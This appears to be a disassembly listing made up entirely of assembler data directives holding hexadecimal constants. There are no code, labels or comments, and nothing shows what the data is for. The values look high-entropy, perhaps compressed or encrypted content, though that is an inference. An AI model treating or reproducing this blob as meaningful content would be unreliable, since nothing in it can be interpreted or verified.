dd 2E362576h, 15D9928h, 505B2CA0h, 76376C51h, 0BD239605h
dd 6FAB02D1h, 1C2329h, 8A8435BEh, 0C91216E9h, 71F3DF25h
dd 0E6B32904h, 0D3E7B9F2h, 0F48007DAh, 1AEA0A34h, 0C5FD8A25h
dd 0AD5A17E7h, 0BE0C0C7h, 5AF59ABEh, 542BA72h, 0F5708C20h
dd 0A813D746h, 79EFFC58h, 9A74A8ACh, 0ED955B90h, 0A4F2C2EBh
dd 2D6D44E0h, 958AB796h, 5751C305h, 0D22A6E31h, 0CED55FAEh
dd 843597D7h, 0A035F203h, 42587250h, 0FDBD5E23h, 0AD01CBFCh
dd 0D37DB32Eh, 8470AC66h, 0DF0169FDh, 5C255CD4h, 0A5B55A4Eh
dd 6D289A80h, 1E9EA5C4h
dd 0E756AAC0h, 5FC391F5h, 9266F7C6h, 70771497h, 0E66BE151h
dd 0B34AF055h, 0DAE701D9h, 0F581F3EBh, 96342FB7h, 0C6C9E4F8h
dd 25F4717Eh, 7CE5D3FFh, 358D0983h, 0E914160Bh, 5844B8F2h
dd 1B75111Bh, 0DE4CC124h, 0E94D7D12h, 6051920h, 0AF60706Bh
dd 2BE98901h, 0D8B0F520h, 0C0022B6h, 697F1333h, 0DF738Dh
dd 42D6EAC9h, 0A135512Ch, 2922C800h, 889E324Eh, 0FC9000AEh
dd 5EF208E6h, 53176B48h, 0FA0CBFh, 13ABA97Dh, 0E25B71B6h
dd 144B30AEh, 0D30E50B2h, 0E142A02Ch, 21D641AAh, 44AD0F80h
dd 1DFA1032h, 0EA910E18h, 3BFF6819h, 0C3806EA6h, 0CCA573ABh
dd 100074ACh, 0BCDAB452h, 7D7E984h, 0B14F0A3Ah, 90AA90D4h
dd 7009BB3h, 0EBCA13F1h, 3049FD7h, 230117ABh, 2DF1D50Dh
dd 4920F00Fh, 44221D00h, 0A7849A2Eh, 0AA57188Fh, 10CD81D0h
dd 0D7285403h, 82E05C11h, 29A4A56Fh, 817C7006h, 8E3E62Fh
dd 1204FBA3h, 9601D108h, 7988EAFAh, 7543007Bh, 0AC477F99h
dd 0ADF24153h, 64B4D403h, 0FE8502h, 0E1F35C51h, 5A6E4D1Bh
dd 906C0A00h, 0BCE346Fh, 899E0073h, 0F4581E30h, 5073CF77h
dd 0E9000E90h, 47246D4Bh, 55CF72Fh, 0FAD7F103h, 6BE0AFE2h
dd 0EFC903EBh, 9B80A87Dh, 810DA5F0h, 528AA60Eh, 92D0E3B7h
dd 9769820h, 0B2FD03A0h, 0FA1EE562h, 0B2BC9631h, 20F44C27h
dd 0BA700001h, 0C3B5ED6Bh, 970E326Ah, 408CEE3Eh, 25C0F812h
dd 0A1C530BAh, 1628913Ch, 5CBE5001h, 0A2867DFAh, 0EB541883h
dd 0F00FB80h, 6C8EEE57h, 0E817Eh, 0E4FE10D5h, 0C0DEB80Bh
dd 0BA883Ah, 0DA126BC4h, 0F93D39Ch, 41BED1ACh, 1842EAACh
dd 864FAF01h, 7E441D05h, 1D525C4h, 9415B37h, 503A5C6Eh
dd 0A66DDF91h, 1379C100h, 2DF3054Bh, 6983005Fh, 0DE869731h
dd 5100919Eh, 0A947E05Bh, 0A17DD0h, 28F62E87h, 0C8DA334Bh
dd 0EA8C292Fh, 1BB300EAh, 0EACFE9FBh, 0EA001D8h, 3809770h
dd 0DAED507Ch, 0E0001871h, 0C51E3412h, 0FBD99B3h, 8A076BA3h
dd 6C8863E0h, 9C00AA1Ch, 0D617E95Ch, 7FBFDBB6h, 0FAE2E066h
dd 0FD790Fh, 96CEEAC5h, 9DD5E9C8h, 0B2F2030Bh, 3BE05F07h
dd 0B61291A3h, 49040F79h, 0A74B717Eh, 77E26475h, 97350032h
dd 0A44FA02h, 0A71FDF38h, 9A80B30Ch, 8E2C6F17h, 0C62ECB0h
dd 0DEAC53D0h, 0C1002AC8h, 5E6D0868h, 0BEFA76h, 0DFBAD4E6h
dd 6199B590h, 0D902C67Eh, 0B3309208h, 8A80A0CCh, 1F50F21h
dd 3AACFC1Ch, 0C8C66E59h, 0E806FA71h, 1F8B7522h, 2F0E3C2Ah
dd 97F000F3h, 9BB5915Fh, 0D576AC63h, 22DFE101h, 52C53A62h
dd 4412D142h, 0AE3B5BB9h, 762D0330h, 78E7019Fh, 0CFEE829Ch
dd 219ECCC0h, 0A691EB00h, 840A913h, 455D0E3Ah, 5793F5h
dd 0C22DC866h, 24C9923Dh, 0B90999h, 0B9F10980h, 0B0B53D27h
dd 67978FDh, 0E9948D9Fh, 1B002CFEh, 0FADEC98h, 41636h
dd 61F50DEAh, 46236E4Bh, 85D52E04h, 0F38809E7h, 20580070h
dd 0F26D19E2h, 0AD1EFD15h, 0D780683Bh, 8799B7EBh, 718E0365h
dd 66D87731h, 8F12F186h, 1900424Dh, 2E81A27Eh, 98290036h
dd 7F91EA8Eh, 7A3524A1h, 8E0498D5h, 0B883FD5Fh, 0B8125029h
dd 0E7164CDCh, 0B4CCA980h, 4C30EA7Ch, 7385946Eh, 2D64F259h
dd 11D5EE2Ch, 88D99EBFh, 0D5378E83h, 54FEA358h, 0B4C62F04h
dd 0C1FD4115h, 0B52CAA5Bh, 495C0F8Ah, 58C3A3D8h, 2BB11079h
dd 9442DC54h, 0D78F5602h, 602A06A4h, 1CB6DB03h, 8446A8F8h
dd 0D0A27FCCh, 8B265E5Ah, 1B807900h, 37EBBD95h, 6C3A26CEh
dd 0BAFB45D8h, 9C00B5B7h, 0D00822FEh, 44002335h, 0F8D5A3DBh
dd 4C364CE0h, 5C381659h, 0BB2EBAB7h, 0FC3EE675h, 5E2035Dh
dd 553A59EDh, 0B0A7979Fh, 801132Dh, 4FB24801h, 54A91B14h
dd 96D09FCDh, 0F6D516E7h, 1C01FA8Dh, 8F701FE4h, 315BBBFCh
dd 0B50F19DEh, 0C70B204Ch, 9AD2EA00h, 0DC580CE3h, 0ABFB00B3h
dd 6679722Eh, 0D73B401Ch, 39DCE343h, 99E9995Eh, 0B654C549h
dd 0FFBBC545h, 0C0CDCF92h, 9D76C7h, 9A77457Dh, 56AF4A82h
dd 0B0009598h, 1127BBD3h, 70BE934h, 75CEE4C2h, 4737401Ch
dd 741529A3h, 2D97F7D2h, 7C10D7FBh, 5B5F0B88h, 101C68C0h
dd 1E5900E5h, 2036CA23h, 94EA2443h, 0EC250B00h, 8E442D34h
dd 9939017Dh, 0E1AFE740h, 0C562D002h, 0C700BCF4h, 937B2965h
dd 66CA2Ah, 449AFA04h, 0C6E5714Ch, 366EC700h, 81FCA87Fh
dd 0F88C2AA4h, 2FB527C9h, 17C05C2Eh, 64BE1E3Eh, 6E03D9E0h
dd 390E20F2h, 0B2BAE58Dh, 0A96EBDE7h, 283C8C8h, 31241C33h
dd 0B75C0D0Ch, 0CE5CDE56h, 0E5825508h, 2CA7C581h, 2C8763EDh
dd 93C273Ah, 7E5ABA52h, 0D38B3C63h, 6175148Bh, 3CDD54EAh
dd 89560740h, 7C77E4DEh, 0C345008h, 5F0CCDFFh, 7C5BF70Fh
dd 9A5129ABh, 602C870Ch, 6F7B4Dh, 0E03EFFFBh, 2B8FE86h
dd 75860E6Bh, 5B89EC40h, 605E2000h, 48575D54h, 770D4811h
dd 1CF1Eh, 56BD3724h, 0D1727B5Eh, 4D891A00h, 0DE21667Eh
dd 2E850E1Bh, 0B3A52FF8h, 0AD918004h, 0D5003345h, 0A129143Bh
dd 68CC39h, 340F87FBh, 4492400Ah, 0CE381770h, 7B3B8325h
dd 9855DD4Bh, 39BA0A60h, 2E003739h, 6E2A5FBEh, 0E10231B7h
dd 2B7BFC96h, 0E5BC6017h, 74B83Fh, 1FD1AB63h, 61DFA123h
dd 0A62AE81Ch, 0C5778600h, 23D3678h, 504B566Ch, 7B7D7446h
dd 0C31D515Bh, 190A2084h, 16D100A5h, 0CE5C9941h, 0DD278A8Fh
dd 0FCD31250h, 4C50493Eh, 0DC0796h, 66EDABF3h, 0D5898E96h
dd 8B9B6A4Fh, 0DFC278C0h, 6A5FE56Eh, 94F01DB6h, 47047A0Ch
dd 896E7BE3h, 272041A8h, 1117AB80h, 9F9E94Bh, 26045CBCh
dd 105BD23h, 894FA016h, 0D59C857Fh, 60FB5012h, 0EF19D58h
dd 4905F80h, 8FC1BDBBh, 0EA1AE2Fh, 80E3DB7Bh, 0C9DABD09h
dd 0E53F1611h, 987EE0F9h, 54508F69h, 0C40A37F0h, 0EF1785BFh
dd 21E0FFD9h, 70622378h, 0D7C6291Ah, 0E6D13725h, 5E29E016h
dd 7D920805h, 851C7E3Ch, 0DF801620h, 8EE7A2CAh, 4D2F1C97h
dd 0B63E0B3h, 290BA1F3h, 0DC1DEE89h, 0A32F169Bh, 0A86A5AE6h
dd 98F5CB25h, 5A76CF1Eh, 0BC62AF50h, 0AA9C4BFBh, 0A7F2D3DAh
dd 2DD4207Eh, 9590CA85h, 0F90025FBh, 8B7871A5h, 4BC507h
dd 0D774168Ah, 0B7E95F55h, 0A68B0C5Ah, 0AD712124h, 0D415FD8h
dd 0BDFEAE92h, 2D6FB8E8h, 0C946F9D5h, 3C88904Eh, 0D3A600EBh
dd 983BF21h, 94000A66h, 456B725Fh, 12A2EC65h, 0B027C9D8h
dd 0BD2D8D35h, 0CB18772Fh, 34020C6Eh, 27C6862h, 1F657D06h
dd 0CFB5AFh, 0E326C949h, 0A0241AC8h, 2D13459Ah, 3222CEBh
dd 9F10709Dh, 9531C1B8h, 0F923D125h, 2D6305FFh, 9E81FFC1h
dd 78691D49h, 0FC1E3516h, 2CE3A2B3h, 164F6922h, 0F5F323EEh
dd 888E71BAh, 0E45F0A2Bh, 1BC85426h, 3F2D41D5h, 0BF25714h
dd 51D35DF3h, 0EAF51756h, 516B4F27h, 0BFFA002Fh, 4EC85D85h
dd 4ECD2B73h, 0D1FDA7C1h, 5E355930h, 5E7FE624h, 6BD600BAh
dd 0F93CCB8h, 0BC8FF900h, 42980DC3h, 0AD490AF1h, 639D76E9h
dd 57143311h, 614B0185h, 5BA8EFACh, 95D4F42Bh, 0A024BD21h
dd 1BE525C8h, 6B68D47Eh, 2525572Fh, 0CC0AA8F8h, 0B518B609h
dd 122F0431h, 0CB00D4F9h, 60C41A7Dh, 0AB7CD2h, 88E40604h
dd 5B0A39AAh, 645B98D0h, 6641044Ch, 6AD06CBBh, 8A370960h
dd 41CD95E8h, 0C44BAAEFh, 82F22112h, 8516293Ch, 0D8B9FD0Fh
dd 80330128h, 0F4F6EB9h
dd 0F280829Eh, 0D0ADED90h, 12031905h, 0DEA8EF2Ch, 0F938A080h
dd 221C6E32h, 33429BC3h, 7E9E4E8Ah, 0DECB24EDh, 0C61F3573h
dd 97801D61h, 84EF80DCh, 0DC01BEFCh, 0AA058778h, 0B5898C29h
dd 72BA888h, 8644BBC0h, 7513B11h, 7D442Dh, 4CB0E651h, 39CC9EF9h
dd 0B4FFD41Eh, 535FFC8Bh, 4F104414h, 0C72603C1h, 9F17D80Dh
dd 4BAE0174h, 0D6B88545h, 656E2E80h, 34041C3Fh, 0BB810FFAh
dd 8600CBA7h, 89DBD190h, 8A00A758h, 0E2C4542Ah, 95610727h
dd 0EBF8A1FBh, 83B30034h, 0F164AF9Dh, 8977E9DBh, 3B237524h
dd 12AE6544h, 0C49ABFB0h, 3EF692h, 0D94750A4h, 17290383h
dd 0A906918Dh, 26B8D316h, 0B874F84Ah, 33DE04BFh, 0BF2509BDh
dd 8879E838h, 77999529h, 16EDBD97h, 0A5D1B825h, 8B496740h
dd 52F302A6h, 578DB984h, 33413340h, 0DA6F5F81h, 0C01AC8F1h
dd 532820BAh, 0CDA45216h, 0FFA731BBh, 53A62AE1h, 415F15E2h
dd 0F32B1CB8h, 4358458h, 81A2DEAFh, 8C7BA9D0h, 0B97F882Ah
dd 3AC46C00h, 98E737E8h, 8D4B5F3Ch, 65293F43h, 0D64F7DCAh
dd 0DA736460h, 3FDB02AFh, 0C99D8D4Fh, 4EDFB9E2h, 2AB52D6Bh
dd 991A9247h, 0B8377773h, 0ADB26112h, 9DA5628h, 8E0F3827h
dd 0BF500D56h, 25630967h, 42580D91h, 235B0209h, 4B6B5E9Dh
dd 0AEC20CEDh, 2FC1D4CAh, 0C6709FD6h, 5DD81616h, 419BA1CEh
dd 6A2569E7h, 2E549B32h, 0AE398565h, 2ABA1012h, 0B99B8075h
dd 3201D86Ah, 13DA4C22h, 0E7958420h, 0FA6300C6h, 308B73C3h
dd 77274FC9h, 4989F42Dh, 428B418h, 0C641AD00h, 0C1BAF195h
dd 0A42002E6h, 76CC2D5Bh, 0BB543075h, 38D3139Dh, 201DF941h
dd 9DDEE8FAh, 0AAAD4C44h, 0FC838EE5h, 4FA2EC38h, 224C8300h
dd 20C07429h, 6AB8FE17h, 9FBC62BDh, 63658200h, 9F69EA3h
dd 31D9A913h, 0EB7DD8Fh, 0C03D127Eh, 0DCBE6824h, 0BFEB4D00h
dd 277E3056h, 41E0CE81h, 6014D1A0h, 0B5188BF9h, 61323235h
dd 7A3009BFh, 0E6F32E53h, 20181559h, 0CC8D035Ah, 9709BE58h
dd 0E907A2F1h, 0DB09016Ch, 7D6A7830h, 77128405h, 0B6A82D96h
dd 0CD60BED2h, 2DC3F6EFh, 0FED453F4h, 0F61A56D6h, 6089D303h
dd 5EF2DE48h, 0DF25AAD4h, 877EB93Ah, 41B80369h, 60D1216h
dd 23A36EF5h, 8083001Ah, 0EB6B18FEh, 9EBBC202h, 7D4B7C52h
dd 969F1602h, 0E117260h, 44677C3h, 1D85C901h, 696F886Ah
dd 0FF99B4Eh, 72195CECh, 56CC4BAh, 0F92DCD63h, 9511534Ch
dd 72042ED9h, 431E3E73h, 0BC21708Dh, 2FA57AC1h, 0D7A2E22Bh
dd 0BDA032A6h, 25B0C168h, 50DFB700h, 0FD4DBA60h, 1D435DB8h
dd 0FCD4F84Bh, 0FF0E8C15h, 0CC9D311Fh, 481B226h, 165439EBh
dd 0F99F9861h, 0F1A126F1h, 0F82ED2D7h, 7BBE9730h, 28D85AACh
dd 66214F2h, 3917DA3Ah, 8B58F816h, 0C4775114h, 0BF664011h
dd 61E9CDFDh, 31501323h, 0AA927FB5h, 89B5DF5Fh, 0D51819F1h
dd 0EE5CB905h, 25A89CDAh, 4F4FD0A3h, 0A242DFECh, 1203C0C4h
dd 0EEED56AFh, 7D00127Bh, 0B4887ECEh, 0FD9E8389h, 0D86C140h
dd 79E4003Dh, 8D9D6915h, 0D4122D73h, 0D8BFA5C3h, 1AB55B40h
dd 0D8EE0228h, 554E7D3Ah, 0C9088121h, 0D470F6h, 0E3BBAFBAh
dd 9116E14Fh, 39266F90h, 3624704h, 0C544290Bh, 0A777F90Fh
dd 225D40B3h, 644784D0h, 0EDDFA81Dh, 92509B49h, 76C5570Eh
dd 13BCD91Fh, 0FEF725F1h, 0EFDD3464h, 6BBE1117h, 0CD984F4Eh
dd 0E47E0412h, 0C52E4980h, 0DB29BB33h, 80D3DA2Eh, 7AA7485Fh
dd 0B888FC40h, 6DB0945Ah, 3F27DDD8h, 9F22DE26h, 0A5DCB70Ch
dd 8FF21C4Bh, 0A8A6FDD6h, 6A7F00A1h, 0B2F9B8EEh, 0F662409Ch
dd 5A213D62h, 55D2797h, 0D09F94EEh, 6D14416Fh, 486F4E2Fh
dd 0C4158200h, 0FF2D348Dh, 0EA36D71Dh, 167FB516h, 2FC9D005h
dd 0B904BB23h, 6BAFCFB6h, 71B2361h, 500EEC71h, 0AC3BB11Fh
dd 3031D4A0h, 4BF9680h, 2A9F104Eh, 873EFC50h, 0DFA9FF25h
dd 0E53BFC6Ch, 0CD962DB3h, 9F8EC122h, 466B6E25h, 66001D23h
dd 0BFFE91A4h, 68E30F86h, 0C95DCC77h, 0D4F91BC1h, 0C0CBCDADh
dd 0A4E51292h, 0F8F38E5Bh, 22D88A4Fh, 0C27BB26h, 962779BDh
dd 0A540BF94h, 1FF8680Eh, 0D378C43Ah, 0D24EF9CAh, 8E5B11EEh
dd 93CCBF92h, 74A0848Dh, 0F9BD0959h, 0BFFB6B85h, 9CC40250h
dd 18E50941h, 8A50D47Eh, 60528804h, 0CBF97C95h, 0BD336C98h
dd 0F130112Dh, 2777C6B7h, 0FDE9CA8Dh, 80542804h, 20F5BD44h
dd 69B2F9BDh, 67414C6Dh, 59E8BBE1h, 0FE6B4A3Dh, 0DCAA4825h
dd 53004BB0h, 666C3767h, 521ACB9h, 0BD016061h, 819C40E1h
dd 692833D3h, 899F177Eh, 6086F1A3h, 0D318D29h, 82F43388h
dd 840CF1D7h, 1A2301BDh, 0E568FD2Eh, 0CDB7C18Bh, 0C249E3EBh
dd 0CBFFDBF0h, 7E5C5327h, 0E2DFCBBFh, 40455826h, 0AB40B5CAh
dd 0C82FF761h, 1D0073D2h, 4C9C5ECEh, 989985h, 427D702Eh
dd 0B11E0224h, 0C190E42Dh, 7C091F48h, 0D5022FA0h, 0C880DC3Dh
dd 0DB36965Eh, 0CB49A994h, 0A1ECB1F7h, 0B9EC5EC9h, 2AB40013h
dd 0EAB696DEh, 10B143Eh, 100F6995h, 4B1F3C3Fh, 502A4E9h
dd 2DC0DB6h, 7252E92Eh, 0A141D780h, 90E39391h, 4880F4A8h
dd 0DD93BABBh, 0DE9B5809h, 90F90550h, 0DDCEFBDBh, 0C1F97901h
dd 0D8096C2Bh, 62EB804Eh, 23B30A54h, 9C6C9556h, 0F2094B15h
dd 6AAED2A7h, 0F6200088h, 56B0702Bh, 0CF8003F9h, 8AD1FFCCh
dd 0A28BACBCh, 60021131h, 70B9413Ch, 0BF51BD0Ch, 33BF0450h
dd 0AD347B9Fh, 25287F45h, 4D4A5F0Ah, 0EBA52EF8h, 1EB3FC8Ch
dd 0A511E985h, 46952565h, 9D890EF7h, 762BD4F9h, 5F9224Ah
dd 29E381C0h, 5C2746A6h, 833D5550h, 5CAEFF07h, 1506E751h
dd 8E26207Bh, 9909A73Dh, 0DFF503CAh, 16119337h, 2C4B2782h
dd 0E924B670h, 4D097744h, 4012591Ah, 777622BBh, 10E6315Bh
dd 86418D15h, 0E0CAF84Eh, 5E5F90h, 0C02D263h, 0FF6A5308h
dd 1BA938CBh, 841EBA1Bh, 0C4520322h, 8529A970h, 9D8A0142h
dd 30D7810Eh, 8B359220h, 2FE1B0DAh, 0F699088h, 2D9145CFh
dd 6C799A0h, 4D1316F5h, 910D70E6h, 71C9EFB5h, 2621097Bh
dd 9984759h, 12FABB73h, 41BF014h, 0EB29DD31h, 0B112ACB3h
dd 8FA3F92Bh, 0B9F87203h, 5152A492h, 3D442690h, 5990955Bh
dd 817360DFh, 53A4A116h, 951095B8h, 2B61020Fh, 270DE8C8h
dd 0DE74C0D8h, 4700C9B8h, 627B5788h, 1BF1035h, 1BB13DADh
dd 2ED18B5Fh, 0FD6B7489h, 28AA9614h, 0BB066653h, 8EE9DD25h
dd 9CE99535h, 1CE66285h, 0ED729D31h, 286E56FCh, 0A8C31A20h
dd 0AA841042h, 2169ADFAh, 0C1128h, 9DC027E5h, 1BC489Eh
dd 0BF6CBA4Ah, 3A53E924h, 0FD94D2A2h, 4C2D7510h, 62D12F2Dh
dd 0CF8B5462h, 72144D84h, 16CF282Ch, 0A90FC409h, 5CBF8090h
dd 0BC745770h, 32D84065h, 0FF0387F7h, 0DC1D4981h, 8084425Ch
dd 0A588984Ah, 5F319940h, 6E09AE95h, 594DF56Ah, 609F23C0h
dd 0B7BD120Eh, 0EFDAEE22h, 0DD527196h, 0D2F16AE0h, 0B929D06Fh
dd 0F3950FB5h, 7EF8D010h, 0B589721Ch, 76A794A4h, 0B925F65Ah
dd 5F9950C5h, 80749BFCh, 4CA6FA1Ch, 43874817h, 6BC1CB07h
dd 0BD7709B8h, 335D8FD8h, 0E4B04EC1h, 8DAD7E31h, 0DBD22B16h
dd 3A4980B6h, 26A4CCBBh, 934B757h, 0CF770141h, 0D6742C57h
dd 3104FE78h, 0F8629DBCh, 1516EFEh, 133D22D8h, 0C23A3FF8h
dd 14DF0610h, 0BACD959Bh, 0C287BF44h, 91629F0h, 5EE96273h
dd 23071AA1h
dd 5DA19964h, 80A5B32Fh, 8D13E011h, 0AFCCB799h, 0F516F37Ah
dd 2EBF08E8h, 0C0CDD58Dh, 0A8FCD598h, 8B0F12A1h, 0B4E715h
dd 3038F183h, 5420A7Ch, 0F9C61DFBh, 5FA3A040h, 7C01EACBh
dd 6E6A79C3h, 61C05F9Eh, 0B3C6B65Ah, 0C21A7E9Dh, 0B1655h
dd 0D22EC54Dh, 0E69A9559h, 7DF22DC6h, 501DFF7Ch, 0E15230A0h
dd 0C09717DBh, 199D2363h, 0CCCE1E4Ah, 294FB822h, 0E2308D89h
dd 7A4C12ABh, 88A4B24Eh, 5443A7BAh, 0E377ACDCh, 0BA274F71h
dd 0E5BD8B33h, 7F601FD2h, 542F49B7h, 4342A523h, 0B8F7B77Fh
dd 0BFCE6A4h, 22481B1Dh, 0E14E80FAh, 25826EFFh, 9B70696Eh
dd 0AC8E6417h, 9200A791h, 0BDA8DBAAh, 950419FBh, 2C292349h
dd 52548064h, 0F3864Fh, 9B2C3EB2h, 57E11EF2h, 0D8C8904Bh
dd 0BD95007Ah, 1850CF4Eh, 3F038CFDh, 2F08F8F6h, 8FAAD528h
dd 40EE58B2h, 0BF046006h, 6AB0EE6Eh, 0B5616CF0h, 0E1D822DBh
dd 0E0355B3Fh, 0E641FECDh, 0CEE7827Ah, 0A640BB56h, 0E663103h
dd 46C19AA2h, 277779A0h, 58009D82h, 0AC68615Bh, 0F0AB40Fh
dd 753343BBh, 53F7C077h, 2FF9AB0Ch, 7E82D49Bh, 0A22E07E8h
dd 5D1B358Fh, 0AF0BC18Bh, 5F548DFAh, 7301C813h, 3A6F5B7Eh
dd 5FD6FC61h, 1B913DB5h, 292A3180h, 0DE02F90Ch, 0D98B17EBh
dd 8E71E8h, 6479B583h, 0B400E20Bh, 0CF44413Bh, 1523A76h
dd 2B61E4E5h, 8204319Dh, 0D7BF66AFh, 5538E2E9h, 0E5C0886Fh
dd 1B31A0Dh, 5FBBFB29h, 717DB9B7h, 46DB28D2h, 3436B02Bh
dd 0E0F3011Ch, 0E9B50925h, 39E73B03h, 1B63205Ah, 509AB0Bh
dd 0FD99D95Dh, 2995B746h, 0D0AE73BEh, 8D2789FBh, 0B5086829h
dd 25FB95A1h, 4E3DFFD8h, 922BF98Bh, 258DC304h, 0C8C28FAFh
dd 5166C01Ah, 0BF130C27h, 0C9FF5484h, 918D6074h, 0A7DD094Bh
dd 6F35FED9h, 9BD7162Ah, 58B980D5h, 63ED737h, 0FEB3217Fh
dd 0D12FD269h, 633F2204h, 0F54442BDh, 0B20A33C1h, 2004A441h
dd 7A78BB66h, 8BB6964Eh, 145A4FE0h, 25925D02h, 61BD3C6Ah
dd 5DC2F99Ch, 352633FBh, 302D2108h, 68853976h, 7077F609h
dd 3064B2h, 2DD88652h, 3A9F5D9Bh, 0DBADB15Bh, 0AE8C0901h
dd 21BD314Dh, 4E3038AEh, 1CA20AA6h, 8E1130h, 7E618912h
dd 90358639h, 388D0F11h, 0FB53CC48h, 72424B00h, 0A99ABA10h
dd 986CED00h, 9654CCCBh, 0A1043A9Ch, 18FF5BA5h, 36EB5Fh
dd 296570A6h, 9A8C4255h, 0F004690h, 482BEE6Fh, 97B6ADA3h
dd 9016ACD6h, 98FD34ABh, 0CEB45364h, 10C09D45h, 7D573Ah
dd 1CDCDDEFh, 22B05C1Bh, 106CA500h, 0A7BB5FD4h, 9B812ADh
dd 0E0BDF661h, 0F3F0621h, 178F5A80h, 0CDBFAC36h, 8F2FB6B3h
dd 20E510ABh, 89202CF2h, 0BD332DB5h, 7B6BA7D4h, 853700Dh
dd 7D362009h, 0DD4F71F9h, 40C5CD25h, 0D79868AEh, 2717D897h
dd 0AFF671BCh, 0FC162E3Fh, 5F18571h, 14CDF7C2h, 14460FE0h
dd 2F9604F9h, 0A803B236h, 7FD314A0h, 4E0B1EDh, 9CE82C39h
dd 9208633Ah, 0E163D3Bh, 0F2CB85EAh, 1309A8FEh, 0FCEC9DEEh
dd 3FFD4EBBh, 8FB3D2h, 5C86EB81h, 250F11BBh, 95CC2F32h
dd 6ABFDE4Bh, 0CD984B0Ah, 56CE1285h, 0A253BEFFh, 0AC0435FAh
dd 220580B6h, 36C528h, 96BDAD08h, 0D1CF358Bh, 53F69801h
dd 504C45E0h, 0E94F8373h, 4AB38118h, 0C179965Bh, 0C2044BB8h
dd 0A5F1C40h, 0A02E8AEEh, 1454F67h, 0CAAF6311h, 3FE17E59h
dd 89030820h, 12A73D30h, 0F734DF07h, 310930C9h, 7B09B38Ch
dd 8B6C5E9Eh, 0AFE2559Ah, 5BE03ADFh, 0EAF35359h, 0A3E08492h
dd 134BD18Dh, 243F6EBFh, 0E1C7621Ch, 2EDB2020h, 0D7961611h
dd 422AEA17h, 0E900D491h, 0D381B6D8h, 8B2F25F0h, 8C10F568h
dd 6012AAC9h, 46F185A3h, 38EC4539h, 6846DB0Eh, 552202E0h
dd 22987F0Dh, 6300C381h, 294BAEBEh, 9E02D9B5h, 9224EC4Bh
dd 337FBD12h, 93458F1h, 8E7E951Dh, 2D68668h, 0B61883C0h
dd 0ED57AFB4h, 65196415h, 0F1D67FF8h, 6A352E8Bh, 9706A8A0h
dd 3F63CF6h, 825E1C31h, 29CA60EEh, 141D91E0h, 0E4956DBDh
dd 0D5B56214h, 0F7DD0CC3h, 0BF6604E3h, 0BAE8BAB4h, 5FCDCB11h
dd 7734E6Eh, 0EF3FBBEBh, 0ACA18E8Fh, 0AF392B48h, 0FCEDDCC2h
dd 90C49217h, 0C9C035ACh, 95474C76h, 0F16F781Dh, 0F58A4880h
dd 566EEE2h, 59E01FBEh, 19128250h, 0D461092Fh, 1746D625h
dd 329A3D00h, 159529B1h, 0F8120E96h, 598B51F2h, 0C9D849FBh
dd 4A9B0264h, 885D1A2Fh, 0DF301A77h, 0A1CBA04h, 4000DD96h
dd 0B3605028h, 202AE782h, 52ECF51Dh, 34A9702h, 0FF169075h
dd 96E2E64Ch, 80181895h, 0B2054EC3h, 176A85Eh, 0AC741532h
dd 31BDA3D8h, 97532ECCh, 85E886F9h, 28940A97h, 1D46DCh
dd 0B94945B7h, 3B99E6D8h, 0BF4B25BBh, 4E59A66Ah, 9C0B6EC0h
dd 0F4027F6Bh, 0A0BC88BBh, 51C75E01h, 3CA72F50h, 82890CB2h
dd 2754BF71h, 0BF56D2F6h, 814B1210h, 0E99D2B9Ah, 6CF32B14h
dd 0D13DBFC0h, 0E90E531Dh, 32FFF1B9h, 47B41BABh, 24A9522Fh
dd 31C1C142h, 249CE36Dh, 0B0DF25CDh, 0A1830FADh, 923F902Eh
dd 86C6CD25h, 23AEC1B5h, 3F66Eh, 0D505F32Fh, 3B2C61A7h
dd 0A838DC64h, 0F5E81A12h, 671C297Ah, 0E9153070h, 5EAB6FEAh
dd 6AE70BEFh, 70495B00h, 8B977A0Bh, 701B535Fh, 23089ED8h
dd 131C4D9Dh, 8ED2EB89h, 0B8C86890h, 4C0FEC22h, 0A292878Eh
dd 0D4820F45h, 8572010Eh, 0DC89CAFh, 384024Ch, 71EF014Fh
dd 61FF10DDh, 0F2BE00B3h, 0D1E09FA3h, 1460E94Bh, 3236AF1Dh
dd 0DAAE00D5h, 6B20F3DCh, 91706E13h, 0B745AD00h, 5FB0370Bh
dd 7D53B56Ah, 48A63978h, 19120101h, 1299F205h, 0DAAF50D7h
dd 0E7093CBh, 0B679CACFh, 212340A7h, 0E50011EFh, 9D6ACCE1h
dd 12EBA4F0h, 0F314DC55h, 0F0205AC1h, 25DE782Eh, 0B75FE854h
dd 0DFEA7B9h, 2595FC4Bh, 5E11C7C5h, 1D11824Bh, 0EF84DF0Bh
dd 26A0426h, 690904B8h, 0DB4490A1h, 0C0219A00h, 9F494357h
dd 0B51904BBh, 0FB5F236Ah, 0D3900E82h, 66FE704Dh, 55542104h
dd 0F0BDF1CFh, 68F68D89h, 0E91630CFh, 0E1BFFC82h, 5FFE303Ah
dd 0EAE35B6Dh, 0C968167Dh, 0D3A2FD22h, 6D388DAFh, 82F0003Eh
dd 341FAEC0h, 0F66000B7h, 0AB64196Bh, 314BA8ECh, 0AE7535AAh
dd 1839C8h, 0D61F80EAh, 46B24BADh, 0FCA8910Eh, 0AF0F30Dh
dd 89584AD1h, 20406E4Ch, 9F4E8DE6h, 7CAF05E5h, 0FAB6B29Bh
dd 9D3A05A2h, 0FAF925ADh, 0B1BD0140h, 0CC7C9F27h, 0DC4F0B52h
dd 3AE3E004h, 5900BB3Dh, 0A54284ADh, 0B5946ECCh, 5495F9h
dd 250FEFBFh, 0E7B35885h, 8B020404h, 83F86AD8h, 9529BF4Bh
dd 2202083Ah, 0D791B58Eh, 0A901A07Bh, 0B7E235E4h, 4D623ACCh
dd 9702C19h, 0B4B01640h, 154D0802h, 0F9BF0F01h, 9F3170E6h
dd 3DE89CF7h, 39D2D889h, 2F5DF451h, 694210F9h, 0AD9D8909h
dd 58ECC4F7h, 0CD3DA960h, 0CE99D84Ah, 130CDB02h, 99BA6139h
dd 6F61FE89h, 413D5630h, 4E172F16h, 971C9981h, 314CF22Bh
dd 2DF17057h, 31435B02h, 0E499123Fh, 514D9C6Fh, 31C932ECh
dd 4C44945Fh, 0BD0BB0C7h, 42064FD5h, 29E2DF42h, 0F3401F74h
dd 0DBF5460h, 79059557h, 0CB01C21Ah, 483A0208h, 0A5A01B27h
dd 4BE9FA26h, 0E1371849h, 67BC0013h, 9938F16h, 18516D9Dh
dd 1A242F49h, 7A0044E2h, 1279DBE1h, 0AD00E21Ah, 3BC0955Fh
dd 9146ACDh, 53E3DF2Dh, 24142CD1h, 2D93DCC4h, 0EF902CA2h
dd 896F914Eh, 2834995h
